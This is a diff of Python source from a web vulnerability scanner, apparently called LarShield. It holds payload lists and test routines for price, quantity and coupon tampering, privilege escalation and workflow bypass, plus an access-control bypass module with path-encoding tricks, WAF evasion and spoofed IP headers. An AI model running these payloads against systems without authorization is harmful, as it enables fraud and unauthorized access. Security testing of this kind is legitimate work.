4. Checks for workflow bypass vulnerabilities
|
| 11 |
+
5. Tests for parameter tampering in business processes
|
| 12 |
+
6. Detects race conditions in business transactions
|
| 13 |
+
"""
|
| 14 |
+
import urllib.request, urllib.error, urllib.parse, ssl, re, json
|
| 15 |
+
from scanners.base_scanner import BaseScanner
|
| 16 |
+
from utils.differential import DifferentialAnalyzer, ParameterMutationTester
|
| 17 |
+
|
| 18 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 19 |
+
# Business Logic Test Patterns
|
| 20 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 21 |
+
BUSINESS_LOGIC_ENDPOINTS = [
|
| 22 |
+
"/api/cart",
|
| 23 |
+
"/api/checkout",
|
| 24 |
+
"/api/purchase",
|
| 25 |
+
"/api/order",
|
| 26 |
+
"/api/payment",
|
| 27 |
+
"/api/coupon",
|
| 28 |
+
"/api/discount",
|
| 29 |
+
"/api/redeem",
|
| 30 |
+
"/api/transfer",
|
| 31 |
+
"/api/withdraw",
|
| 32 |
+
"/api/deposit",
|
| 33 |
+
"/api/vote",
|
| 34 |
+
"/api/like",
|
| 35 |
+
"/api/follow",
|
| 36 |
+
"/api/subscribe",
|
| 37 |
+
"/api/unsubscribe",
|
| 38 |
+
]
|
| 39 |
+
|
| 40 |
+
# Price manipulation payloads
|
| 41 |
+
PRICE_MANIPULATION_PAYLOADS = [
|
| 42 |
+
{"price": "-100"},
|
| 43 |
+
{"price": "0"},
|
| 44 |
+
{"price": "0.01"},
|
| 45 |
+
{"price": "999999"},
|
| 46 |
+
{"amount": "-100"},
|
| 47 |
+
{"amount": "0"},
|
| 48 |
+
{"discount": "100"},
|
| 49 |
+
{"discount": "999"},
|
| 50 |
+
]
|
| 51 |
+
|
| 52 |
+
# Coupon abuse payloads
|
| 53 |
+
COUPON_PAYLOADS = [
|
| 54 |
+
{"coupon": "TEST123"},
|
| 55 |
+
{"coupon": "ADMIN"},
|
| 56 |
+
{"coupon": "FREE"},
|
| 57 |
+
{"coupon": "100OFF"},
|
| 58 |
+
{"coupon": "UNLIMITED"},
|
| 59 |
+
{"coupon_code": "TEST123"},
|
| 60 |
+
{"promo_code": "FREE"},
|
| 61 |
+
]
|
| 62 |
+
|
| 63 |
+
# Quantity manipulation payloads
|
| 64 |
+
QUANTITY_PAYLOADS = [
|
| 65 |
+
{"quantity": "-1"},
|
| 66 |
+
{"quantity": "0"},
|
| 67 |
+
{"quantity": "999999"},
|
| 68 |
+
{"qty": "-1"},
|
| 69 |
+
{"qty": "0"},
|
| 70 |
+
{"qty": "999999"},
|
| 71 |
+
]
|
| 72 |
+
|
| 73 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 74 |
+
# Scanner Implementation
|
| 75 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 76 |
+
class BusinessLogicScanner(BaseScanner):
|
| 77 |
+
SCANNER_NAME = "Business Logic Vulnerability Scanner"
|
| 78 |
+
|
| 79 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 80 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 81 |
+
self._ctx = ssl.create_default_context()
|
| 82 |
+
self._ctx.check_hostname = False
|
| 83 |
+
self._ctx.verify_mode = ssl.CERT_NONE
|
| 84 |
+
self._headers = {"User-Agent": "LarShield/2.0 Business Logic Scanner"}
|
| 85 |
+
if self.auth_headers:
|
| 86 |
+
self._headers.update(self.auth_headers)
|
| 87 |
+
|
| 88 |
+
self._tested_endpoints = 0
|
| 89 |
+
self._vulns_found = 0
|
| 90 |
+
self._differential = DifferentialAnalyzer()
|
| 91 |
+
self._mutation_tester = ParameterMutationTester(self._bl_mutation_req)
|
| 92 |
+
|
| 93 |
+
def _bl_mutation_req(self, url, params):
|
| 94 |
+
data = urllib.parse.urlencode(params).encode("utf-8")
|
| 95 |
+
body, status = self._make_request(url, method="POST", data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=8)
|
| 96 |
+
return body or "", status
|
| 97 |
+
|
| 98 |
+
def _get(self, url, timeout=8):
|
| 99 |
+
try:
|
| 100 |
+
req = urllib.request.Request(url, headers=self._headers)
|
| 101 |
+
with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
|
| 102 |
+
return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
|
| 103 |
+
except urllib.error.HTTPError as e:
|
| 104 |
+
body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
|
| 105 |
+
return body, e.code
|
| 106 |
+
except Exception as e:
|
| 107 |
+
self.log("ERROR", f"[BusinessLogic] _get error: {e}")
|
| 108 |
+
return "", 0
|
| 109 |
+
|
| 110 |
+
def _post(self, url, data, timeout=8):
|
| 111 |
+
try:
|
| 112 |
+
encoded = urllib.parse.urlencode(data).encode("utf-8")
|
| 113 |
+
req = urllib.request.Request(url, data=encoded, headers={
|
| 114 |
+
**self._headers,
|
| 115 |
+
"Content-Type": "application/x-www-form-urlencoded"
|
| 116 |
+
})
|
| 117 |
+
with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
|
| 118 |
+
return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
|
| 119 |
+
except urllib.error.HTTPError as e:
|
| 120 |
+
body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
|
| 121 |
+
return body, e.code
|
| 122 |
+
except Exception as e:
|
| 123 |
+
self.log("ERROR", f"[BusinessLogic] _post error: {e}")
|
| 124 |
+
return "", 0
|
| 125 |
+
|
| 126 |
+
def _test_price_manipulation(self, url):
|
| 127 |
+
"""Test for price manipulation vulnerabilities."""
|
| 128 |
+
self.log("INFO", f"[Business Logic] Testing price manipulation on {url}")
|
| 129 |
+
|
| 130 |
+
# GAP-ADV: Concurrent execution
|
| 131 |
+
reqs = [{
|
| 132 |
+
"url": url, "method": "POST",
|
| 133 |
+
"data": urllib.parse.urlencode(payload).encode("utf-8"),
|
| 134 |
+
"headers": {"Content-Type": "application/x-www-form-urlencoded"},
|
| 135 |
+
"payload": payload
|
| 136 |
+
} for payload in PRICE_MANIPULATION_PAYLOADS]
|
| 137 |
+
|
| 138 |
+
results = self._make_async_requests(reqs)
|
| 139 |
+
|
| 140 |
+
for req_dict, body, status in results:
|
| 141 |
+
if not body: continue
|
| 142 |
+
payload = req_dict["payload"]
|
| 143 |
+
|
| 144 |
+
# Check if manipulation was successful
|
| 145 |
+
if status in [200, 201, 202] and any(
|
| 146 |
+
indicator in body.lower()
|
| 147 |
+
for indicator in ["success", "completed", "order confirmed", "payment successful"]
|
| 148 |
+
):
|
| 149 |
+
self._vulns_found += 1
|
| 150 |
+
self.log("CRITICAL",
|
| 151 |
+
f"[Business Logic] Price manipulation successful! Payload: {payload}")
|
| 152 |
+
|
| 153 |
+
self.add_vuln(
|
| 154 |
+
title="Business Logic — Price Manipulation",
|
| 155 |
+
severity="Critical",
|
| 156 |
+
category="Business Logic",
|
| 157 |
+
cvss_score=9.8,
|
| 158 |
+
description=(
|
| 159 |
+
f"A price manipulation vulnerability was detected at {url}.\n"
|
| 160 |
+
f"Payload: {payload}\n"
|
| 161 |
+
"The application accepts manipulated prices without validation, "
|
| 162 |
+
"allowing attackers to purchase items for free or at reduced prices."
|
| 163 |
+
),
|
| 164 |
+
remediation=(
|
| 165 |
+
"1. NEVER accept prices from client-side requests\n"
|
| 166 |
+
"2. Store prices server-side and reference by ID\n"
|
| 167 |
+
"3. Validate all monetary values on the server\n"
|
| 168 |
+
"4. Implement server-side price calculation\n"
|
| 169 |
+
"5. Add transaction monitoring for unusual pricing\n"
|
| 170 |
+
"6. Use payment gateway validation"
|
| 171 |
+
)
|
| 172 |
+
)
|
| 173 |
+
return True
|
| 174 |
+
return False
|
| 175 |
+
|
| 176 |
+
def _test_coupon_abuse(self, url):
|
| 177 |
+
"""Test for coupon abuse vulnerabilities."""
|
| 178 |
+
self.log("INFO", f"[Business Logic] Testing coupon abuse on {url}")
|
| 179 |
+
|
| 180 |
+
reqs = [{
|
| 181 |
+
"url": url, "method": "POST",
|
| 182 |
+
"data": urllib.parse.urlencode(payload).encode("utf-8"),
|
| 183 |
+
"headers": {"Content-Type": "application/x-www-form-urlencoded"},
|
| 184 |
+
"payload": payload
|
| 185 |
+
} for payload in COUPON_PAYLOADS]
|
| 186 |
+
|
| 187 |
+
results = self._make_async_requests(reqs)
|
| 188 |
+
|
| 189 |
+
for req_dict, body, status in results:
|
| 190 |
+
if not body: continue
|
| 191 |
+
payload = req_dict["payload"]
|
| 192 |
+
|
| 193 |
+
# Check if coupon was accepted
|
| 194 |
+
if status in [200, 201] and any(
|
| 195 |
+
indicator in body.lower()
|
| 196 |
+
for indicator in ["discount applied", "coupon valid", "promo accepted", "success"]
|
| 197 |
+
):
|
| 198 |
+
self._vulns_found += 1
|
| 199 |
+
self.log("WARNING",
|
| 200 |
+
f"[Business Logic] Coupon abuse possible! Payload: {payload}")
|
| 201 |
+
|
| 202 |
+
self.add_vuln(
|
| 203 |
+
title="Business Logic — Coupon Abuse",
|
| 204 |
+
severity="High",
|
| 205 |
+
category="Business Logic",
|
| 206 |
+
cvss_score=8.5,
|
| 207 |
+
description=(
|
| 208 |
+
f"A coupon abuse vulnerability was detected at {url}.\n"
|
| 209 |
+
f"Payload: {payload}\n"
|
| 210 |
+
"The application accepts invalid or guessable coupon codes, "
|
| 211 |
+
"allowing unauthorized discounts."
|
| 212 |
+
),
|
| 213 |
+
remediation=(
|
| 214 |
+
"1. Implement one-time-use coupon codes\n"
|
| 215 |
+
"2. Use cryptographically secure coupon generation\n"
|
| 216 |
+
"3. Validate coupon ownership and usage limits\n"
|
| 217 |
+
"4. Monitor coupon usage patterns\n"
|
| 218 |
+
"5. Implement rate limiting on coupon attempts"
|
| 219 |
+
)
|
| 220 |
+
)
|
| 221 |
+
return True
|
| 222 |
+
return False
|
| 223 |
+
|
| 224 |
+
def _test_quantity_manipulation(self, url):
|
| 225 |
+
"""Test for quantity manipulation vulnerabilities."""
|
| 226 |
+
self.log("INFO", f"[Business Logic] Testing quantity manipulation on {url}")
|
| 227 |
+
|
| 228 |
+
reqs = [{
|
| 229 |
+
"url": url, "method": "POST",
|
| 230 |
+
"data": urllib.parse.urlencode(payload).encode("utf-8"),
|
| 231 |
+
"headers": {"Content-Type": "application/x-www-form-urlencoded"},
|
| 232 |
+
"payload": payload
|
| 233 |
+
} for payload in QUANTITY_PAYLOADS]
|
| 234 |
+
|
| 235 |
+
results = self._make_async_requests(reqs)
|
| 236 |
+
|
| 237 |
+
for req_dict, body, status in results:
|
| 238 |
+
if not body: continue
|
| 239 |
+
payload = req_dict["payload"]
|
| 240 |
+
|
| 241 |
+
# Check if manipulation was successful
|
| 242 |
+
if status in [200, 201] and any(
|
| 243 |
+
indicator in body.lower()
|
| 244 |
+
for indicator in ["success", "added", "updated", "confirmed"]
|
| 245 |
+
):
|
| 246 |
+
self._vulns_found += 1
|
| 247 |
+
self.log("WARNING",
|
| 248 |
+
f"[Business Logic] Quantity manipulation possible! Payload: {payload}")
|
| 249 |
+
|
| 250 |
+
self.add_vuln(
|
| 251 |
+
title="Business Logic — Quantity Manipulation",
|
| 252 |
+
severity="High",
|
| 253 |
+
category="Business Logic",
|
| 254 |
+
cvss_score=7.5,
|
| 255 |
+
description=(
|
| 256 |
+
f"A quantity manipulation vulnerability was detected at {url}.\n"
|
| 257 |
+
f"Payload: {payload}\n"
|
| 258 |
+
"The application accepts invalid quantities without validation."
|
| 259 |
+
),
|
| 260 |
+
remediation=(
|
| 261 |
+
"1. Validate quantity ranges on the server\n"
|
| 262 |
+
"2. Implement minimum and maximum quantity limits\n"
|
| 263 |
+
"3. Check inventory levels before processing\n"
|
| 264 |
+
"4. Add server-side quantity validation\n"
|
| 265 |
+
"5. Monitor for unusual quantity patterns"
|
| 266 |
+
)
|
| 267 |
+
)
|
| 268 |
+
return True
|
| 269 |
+
return False
|
| 270 |
+
|
| 271 |
+
def _test_privilege_escalation(self, url):
|
| 272 |
+
"""Test for privilege escalation through business logic."""
|
| 273 |
+
self.log("INFO", f"[Business Logic] Testing privilege escalation on {url}")
|
| 274 |
+
|
| 275 |
+
escalation_payloads = [
|
| 276 |
+
{"role": "admin"},
|
| 277 |
+
{"role": "administrator"},
|
| 278 |
+
{"role": "superuser"},
|
| 279 |
+
{"is_admin": "true"},
|
| 280 |
+
{"is_admin": "1"},
|
| 281 |
+
{"admin": "true"},
|
| 282 |
+
{"permissions": "all"},
|
| 283 |
+
{"access_level": "admin"},
|
| 284 |
+
]
|
| 285 |
+
|
| 286 |
+
reqs = [{
|
| 287 |
+
"url": url, "method": "POST",
|
| 288 |
+
"data": urllib.parse.urlencode(payload).encode("utf-8"),
|
| 289 |
+
"headers": {"Content-Type": "application/x-www-form-urlencoded"},
|
| 290 |
+
"payload": payload
|
| 291 |
+
} for payload in escalation_payloads]
|
| 292 |
+
|
| 293 |
+
results = self._make_async_requests(reqs)
|
| 294 |
+
|
| 295 |
+
for req_dict, body, status in results:
|
| 296 |
+
if not body: continue
|
| 297 |
+
payload = req_dict["payload"]
|
| 298 |
+
|
| 299 |
+
# Check if escalation was successful
|
| 300 |
+
if status in [200, 201] and any(
|
| 301 |
+
indicator in body.lower()
|
| 302 |
+
for indicator in ["admin", "administrator", "success", "updated"]
|
| 303 |
+
):
|
| 304 |
+
self._vulns_found += 1
|
| 305 |
+
self.log("CRITICAL",
|
| 306 |
+
f"[Business Logic] Privilege escalation possible! Payload: {payload}")
|
| 307 |
+
|
| 308 |
+
self.add_vuln(
|
| 309 |
+
title="Business Logic — Privilege Escalation",
|
| 310 |
+
severity="Critical",
|
| 311 |
+
category="Business Logic",
|
| 312 |
+
cvss_score=9.8,
|
| 313 |
+
description=(
|
| 314 |
+
f"A privilege escalation vulnerability was detected at {url}.\n"
|
| 315 |
+
f"Payload: {payload}\n"
|
| 316 |
+
"The application allows privilege escalation through parameter manipulation."
|
| 317 |
+
),
|
| 318 |
+
remediation=(
|
| 319 |
+
"1. Never accept role/permission parameters from client\n"
|
| 320 |
+
"2. Store user roles server-side\n"
|
| 321 |
+
"3. Implement proper role-based access control\n"
|
| 322 |
+
"4. Validate all privilege changes\n"
|
| 323 |
+
"5. Use immutable session tokens\n"
|
| 324 |
+
"6. Audit privilege changes"
|
| 325 |
+
)
|
| 326 |
+
)
|
| 327 |
+
return True
|
| 328 |
+
return False
|
| 329 |
+
|
| 330 |
+
def _test_mutation_workflow(self, url):
|
| 331 |
+
self.log("INFO", f"[Business Logic] Testing parameter mutations on {url}")
|
| 332 |
+
base_params = {"id": "1", "action": "test", "status": "pending"}
|
| 333 |
+
mutations = [
|
| 334 |
+
{"name": "negative_quantity", "params": {"quantity": "-1"}},
|
| 335 |
+
{"name": "zero_price", "params": {"price": "0"}},
|
| 336 |
+
{"name": "negative_price", "params": {"price": "-100"}},
|
| 337 |
+
{"name": "overflow_amount", "params": {"amount": "999999999999"}},
|
| 338 |
+
{"name": "admin_role", "params": {"role": "admin"}},
|
| 339 |
+
{"name": "bypass_skip", "params": {"skip": "true"}},
|
| 340 |
+
{"name": "bypass_step", "params": {"step": "complete"}},
|
| 341 |
+
{"name": "bulk_discount", "params": {"discount": "100"}},
|
| 342 |
+
]
|
| 343 |
+
results = self._mutation_tester.test(url, base_params, mutations)
|
| 344 |
+
for res in results:
|
| 345 |
+
if res.get("anomalous"):
|
| 346 |
+
self._vulns_found += 1
|
| 347 |
+
self.log("WARNING", f"[Business Logic] Anomalous mutation: {res['mutation']} status={res['status']} diff={res['length_diff_pct']}%")
|
| 348 |
+
self.add_vuln(
|
| 349 |
+
title=f"Business Logic — Anomalous Parameter Mutation ({res['mutation']})",
|
| 350 |
+
severity="High",
|
| 351 |
+
category="Business Logic",
|
| 352 |
+
cvss_score=7.5,
|
| 353 |
+
description=(
|
| 354 |
+
f"Parameter mutation '{res['mutation']}' at {url} "
|
| 355 |
+
f"produced an anomalous response (status: {res['status']}, "
|
| 356 |
+
f"length difference: {res['length_diff_pct']}%). "
|
| 357 |
+
"This may indicate a business logic vulnerability."
|
| 358 |
+
),
|
| 359 |
+
remediation="Validate all input parameters server-side. Implement proper state machines for workflows. "
|
| 360 |
+
"Ensure negative values, zero values, and role parameters are rejected.",
|
| 361 |
+
cwe_ids=["CWE-840"],
|
| 362 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 363 |
+
)
|
| 364 |
+
|
| 365 |
+
def _test_workflow_bypass(self, url):
|
| 366 |
+
"""Test for workflow bypass vulnerabilities."""
|
| 367 |
+
self.log("INFO", f"[Business Logic] Testing workflow bypass on {url}")
|
| 368 |
+
|
| 369 |
+
bypass_payloads = [
|
| 370 |
+
{"step": "complete"},
|
| 371 |
+
{"skip": "true"},
|
| 372 |
+
{"bypass": "true"},
|
| 373 |
+
{"status": "completed"},
|
| 374 |
+
{"approved": "true"},
|
| 375 |
+
{"verified": "true"},
|
| 376 |
+
]
|
| 377 |
+
|
| 378 |
+
reqs = [{
|
| 379 |
+
"url": url, "method": "POST",
|
| 380 |
+
"data": urllib.parse.urlencode(payload).encode("utf-8"),
|
| 381 |
+
"headers": {"Content-Type": "application/x-www-form-urlencoded"},
|
| 382 |
+
"payload": payload
|
| 383 |
+
} for payload in bypass_payloads]
|
| 384 |
+
|
| 385 |
+
results = self._make_async_requests(reqs)
|
| 386 |
+
|
| 387 |
+
for req_dict, body, status in results:
|
| 388 |
+
if not body: continue
|
| 389 |
+
payload = req_dict["payload"]
|
| 390 |
+
|
| 391 |
+
# Check if bypass was successful
|
| 392 |
+
if status in [200, 201] and any(
|
| 393 |
+
indicator in body.lower()
|
| 394 |
+
for indicator in ["success", "completed", "approved", "verified"]
|
| 395 |
+
):
|
| 396 |
+
self._vulns_found += 1
|
| 397 |
+
self.log("WARNING",
|
| 398 |
+
f"[Business Logic] Workflow bypass possible! Payload: {payload}")
|
| 399 |
+
|
| 400 |
+
self.add_vuln(
|
| 401 |
+
title="Business Logic — Workflow Bypass",
|
| 402 |
+
severity="High",
|
| 403 |
+
category="Business Logic",
|
| 404 |
+
cvss_score=8.0,
|
| 405 |
+
description=(
|
| 406 |
+
f"A workflow bypass vulnerability was detected at {url}.\n"
|
| 407 |
+
f"Payload: {payload}\n"
|
| 408 |
+
"The application allows skipping workflow steps through parameter manipulation."
|
| 409 |
+
),
|
| 410 |
+
remediation=(
|
| 411 |
+
"1. Implement server-side workflow validation\n"
|
| 412 |
+
"2. Store workflow state server-side\n"
|
| 413 |
+
"3. Validate each step before allowing progression\n"
|
| 414 |
+
"4. Use state machines for complex workflows\n"
|
| 415 |
+
"5. Audit workflow transitions"
|
| 416 |
+
)
|
| 417 |
+
)
|
| 418 |
+
return True
|
| 419 |
+
return False
|
| 420 |
+
|
| 421 |
+
def _discover_business_logic_endpoints(self):
|
| 422 |
+
"""Discover endpoints with business logic vulnerabilities using shared context."""
|
| 423 |
+
endpoints = []
|
| 424 |
+
|
| 425 |
+
try:
|
| 426 |
+
# GAP-ADV: Centralized context replaces redundant crawling
|
| 427 |
+
results = self.discovery_context or {}
|
| 428 |
+
|
| 429 |
+
# Check URLs for business logic patterns
|
| 430 |
+
for url_entry in results.get("urls", []):
|
| 431 |
+
url = url_entry.get("url") if isinstance(url_entry, dict) else url_entry
|
| 432 |
+
for pattern in BUSINESS_LOGIC_ENDPOINTS:
|
| 433 |
+
if pattern in url.lower():
|
| 434 |
+
endpoints.append(url)
|
| 435 |
+
break
|
| 436 |
+
|
| 437 |
+
# Check forms for business logic fields
|
| 438 |
+
for form in results.get("forms", []):
|
| 439 |
+
action = form.get("action", "")
|
| 440 |
+
inputs = form.get("inputs", [])
|
| 441 |
+
|
| 442 |
+
# Check for business-related input names
|
| 443 |
+
for inp in inputs:
|
| 444 |
+
input_name = inp.get("name", "").lower()
|
| 445 |
+
if any(x in input_name for x in ["price", "amount", "quantity", "coupon", "discount", "role"]):
|
| 446 |
+
endpoints.append(action)
|
| 447 |
+
break
|
| 448 |
+
|
| 449 |
+
except Exception as e:
|
| 450 |
+
self.log("WARNING", f"[Business Logic] Error processing endpoints from context: {str(e)}")
|
| 451 |
+
|
| 452 |
+
return list(set(endpoints))
|
| 453 |
+
|
| 454 |
+
def run(self):
|
| 455 |
+
self.log("INFO", f"[Business Logic] Starting business logic vulnerability scanning on {self.target}...")
|
| 456 |
+
|
| 457 |
+
try:
|
| 458 |
+
# Step 1: Discover business logic endpoints
|
| 459 |
+
self.log("INFO", "[Business Logic] Discovering business logic endpoints...")
|
| 460 |
+
endpoints = self._discover_business_logic_endpoints()
|
| 461 |
+
self.log("INFO", f"[Business Logic] Found {len(endpoints)} business logic endpoint(s)")
|
| 462 |
+
|
| 463 |
+
if not endpoints:
|
| 464 |
+
self.log("INFO", "[Business Logic] No business logic endpoints detected")
|
| 465 |
+
return self.vulns
|
| 466 |
+
|
| 467 |
+
# Step 2: Test each endpoint
|
| 468 |
+
for url in endpoints[:15]: # Limit to 15 endpoints
|
| 469 |
+
self._tested_endpoints += 1
|
| 470 |
+
self.log("INFO", f"[Business Logic] Testing endpoint: {url}")
|
| 471 |
+
|
| 472 |
+
# Determine test type based on URL
|
| 473 |
+
if any(x in url.lower() for x in ["checkout", "purchase", "payment", "order"]):
|
| 474 |
+
self._test_price_manipulation(url)
|
| 475 |
+
elif any(x in url.lower() for x in ["coupon", "discount", "promo"]):
|
| 476 |
+
self._test_coupon_abuse(url)
|
| 477 |
+
elif any(x in url.lower() for x in ["cart", "quantity", "qty"]):
|
| 478 |
+
self._test_quantity_manipulation(url)
|
| 479 |
+
elif any(x in url.lower() for x in ["role", "admin", "user"]):
|
| 480 |
+
self._test_privilege_escalation(url)
|
| 481 |
+
else:
|
| 482 |
+
self._test_workflow_bypass(url)
|
| 483 |
+
|
| 484 |
+
self._test_mutation_workflow(url)
|
| 485 |
+
|
| 486 |
+
except Exception as e:
|
| 487 |
+
self.log("WARNING", f"[Business Logic] Unexpected error during scan: {str(e)}")
|
| 488 |
+
|
| 489 |
+
# Summary
|
| 490 |
+
self.log("SUCCESS" if not self.vulns else "WARNING",
|
| 491 |
+
f"[Business Logic] Complete — {self._tested_endpoints} endpoint(s) tested | "
|
| 492 |
+
f"{self._vulns_found} business logic vulnerability/vulnerabilities found")
|
| 493 |
+
return self.vulns
|
backend/scanners/bypass_403_scanner.py
ADDED
|
@@ -0,0 +1,156 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
bypass_403_scanner.py — 403/401 Bypass Scanner
|
| 3 |
+
================================================
|
| 4 |
+
Attempts to bypass access-denied responses using URL encoding tricks,
|
| 5 |
+
path normalization, header manipulation, and method switching.
|
| 6 |
+
"""
|
| 7 |
+
import urllib.parse
|
| 8 |
+
from scanners.base_scanner import BaseScanner
|
| 9 |
+
from utils.evasion import waf_evade
|
| 10 |
+
from utils.callback import build_callback_url
|
| 11 |
+
|
| 12 |
+
PROTECTED_PATHS = [
|
| 13 |
+
"/admin", "/admin/", "/dashboard", "/config", "/secret",
|
| 14 |
+
"/api/admin", "/internal", "/private", "/backup",
|
| 15 |
+
"/management", "/.env", "/server-status",
|
| 16 |
+
]
|
| 17 |
+
|
| 18 |
+
|
| 19 |
+
class Bypass403Scanner(BaseScanner):
|
| 20 |
+
SCANNER_NAME = "403/401 Bypass Scanner"
|
| 21 |
+
_SCANNER_KEY = "bypass_403"
|
| 22 |
+
|
| 23 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 24 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 25 |
+
|
| 26 |
+
def run(self) -> list:
|
| 27 |
+
self.log("INFO", f"[403Bypass] Testing access control bypass techniques on {self.target}...")
|
| 28 |
+
base = self.target.rstrip("/")
|
| 29 |
+
|
| 30 |
+
for path in PROTECTED_PATHS:
|
| 31 |
+
baseline_status = self._get_status(base + path)
|
| 32 |
+
if baseline_status not in (401, 403):
|
| 33 |
+
continue
|
| 34 |
+
|
| 35 |
+
self.log("INFO", f"[403Bypass] Found protected path: {path} (HTTP {baseline_status})")
|
| 36 |
+
self._try_bypasses(base, path, baseline_status)
|
| 37 |
+
|
| 38 |
+
if not self.vulns:
|
| 39 |
+
self.log("SUCCESS", "[403Bypass] No 403/401 bypass vectors found.")
|
| 40 |
+
return self.vulns
|
| 41 |
+
|
| 42 |
+
def _try_bypasses(self, base, path, original_status):
|
| 43 |
+
bypasses = []
|
| 44 |
+
|
| 45 |
+
path_variants = [
|
| 46 |
+
path + "/",
|
| 47 |
+
path + "/.",
|
| 48 |
+
"/" + path.lstrip("/").replace("/", "//"),
|
| 49 |
+
path.replace("/", "/%2f"),
|
| 50 |
+
path.replace("/", "/./"),
|
| 51 |
+
"/." + path,
|
| 52 |
+
path + "%20",
|
| 53 |
+
path + "%09",
|
| 54 |
+
path + "..;/",
|
| 55 |
+
path + "/*",
|
| 56 |
+
path + "?.js",
|
| 57 |
+
path + ".json",
|
| 58 |
+
path + "/%2e/",
|
| 59 |
+
path.upper(),
|
| 60 |
+
path.lower().replace("/admin", "/Admin"),
|
| 61 |
+
path.replace("/", "/%2f/"),
|
| 62 |
+
path + "?x=1",
|
| 63 |
+
path + "#",
|
| 64 |
+
"/.." + path,
|
| 65 |
+
"/%2e%2e" + path,
|
| 66 |
+
path + "/..",
|
| 67 |
+
"/%23" + path,
|
| 68 |
+
"/%00" + path,
|
| 69 |
+
path.replace("/", "/%00/"),
|
| 70 |
+
path + ".html",
|
| 71 |
+
path + "/%20",
|
| 72 |
+
path + ";/",
|
| 73 |
+
path + "%252f",
|
| 74 |
+
"//" + path.lstrip("/"),
|
| 75 |
+
"/" + path.lstrip("/").replace("/", "/%20/"),
|
| 76 |
+
path.replace("/", "/%09/"),
|
| 77 |
+
]
|
| 78 |
+
for variant in path_variants:
|
| 79 |
+
s = self._get_status(base + variant)
|
| 80 |
+
if s not in (401, 403, 404, 0):
|
| 81 |
+
bypasses.append({"method": f"Path variant: `{variant}`", "status": s})
|
| 82 |
+
for enc_name, enc_val in waf_evade(variant):
|
| 83 |
+
s2 = self._get_status(base + enc_val)
|
| 84 |
+
if s2 not in (401, 403, 404, 0):
|
| 85 |
+
bypasses.append({"method": f"Path variant (WAF evade): `{enc_val}`", "status": s2})
|
| 86 |
+
|
| 87 |
+
callback_url = build_callback_url("/403-bypass")
|
| 88 |
+
header_tricks = [
|
| 89 |
+
{"X-Original-URL": path},
|
| 90 |
+
{"X-Rewrite-URL": path},
|
| 91 |
+
{"X-Custom-IP-Authorization": "127.0.0.1"},
|
| 92 |
+
{"X-Forwarded-For": "127.0.0.1"},
|
| 93 |
+
{"X-Remote-IP": "127.0.0.1"},
|
| 94 |
+
{"X-Remote-Addr": "127.0.0.1"},
|
| 95 |
+
{"X-ProxyUser-Ip": "127.0.0.1"},
|
| 96 |
+
{"Client-IP": "127.0.0.1"},
|
| 97 |
+
{"X-Originating-IP": "127.0.0.1"},
|
| 98 |
+
{"X-Forwarded-For": "localhost"},
|
| 99 |
+
{"X-Real-IP": "127.0.0.1"},
|
| 100 |
+
{"X-Forwarded-Host": "localhost"},
|
| 101 |
+
{"X-Original-URL": path, "X-Forwarded-For": "127.0.0.1"},
|
| 102 |
+
{"X-Rewrite-URL": path, "X-Forwarded-For": "127.0.0.1"},
|
| 103 |
+
{"X-Forwarded-For": callback_url},
|
| 104 |
+
{"X-Forwarded-For": "127.0.0.1, 10.0.0.1"},
|
| 105 |
+
{"X-Forwarded-For": "2130706433"},
|
| 106 |
+
{"X-Forwarded-For": "0x7f000001"},
|
| 107 |
+
{"X-Original-URL": path, "X-Forwarded-For": "10.0.0.1"},
|
| 108 |
+
{"X-Rewrite-URL": path, "X-Forwarded-Host": "localhost"},
|
| 109 |
+
{"X-HTTP-Method-Override": "GET"},
|
| 110 |
+
{"X-HTTP-Method": "GET"},
|
| 111 |
+
{"X-Method-Override": "GET"},
|
| 112 |
+
]
|
| 113 |
+
